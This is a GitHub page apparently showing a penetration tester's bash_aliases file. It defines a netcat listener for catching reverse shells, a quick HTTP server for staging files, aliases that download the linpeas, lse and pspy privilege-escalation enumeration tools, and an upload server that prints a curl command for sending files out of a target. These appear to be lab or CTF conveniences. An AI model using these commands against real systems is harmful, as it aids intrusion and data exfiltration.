-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbash_aliases
7 lines (7 loc) · 908 Bytes
/
bash_aliases
1
2
3
4
5
6
7
alias listener='/bin/sudo rlwrap nc -lvnp 53'
alias server='ip=$(ip -o -4 addr show tun0 | awk "{print \$4}" | cut -d/ -f1) && url="http://$ip/" && echo "$url" | xclip -selection clipboard && echo "$url has been copied to your clipboard" && python3 -m http.server 80'
alias linux_enum='wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh && \
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh && \
wget https://github.com/DominicBreuker/pspy'
alias linpeas='wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh'
alias uploadserver='ip=$(ip -o -4 addr show tun0 | awk "{print \$4}" | cut -d/ -f1) && url="http://$ip:80/upload" && cmd="curl -X POST -F \"files=@./file.txt\" $url" && echo "$cmd" | tee >(xclip -selection clipboard) && echo "Upload command copied to clipboard..." && python3 -m uploadserver 80'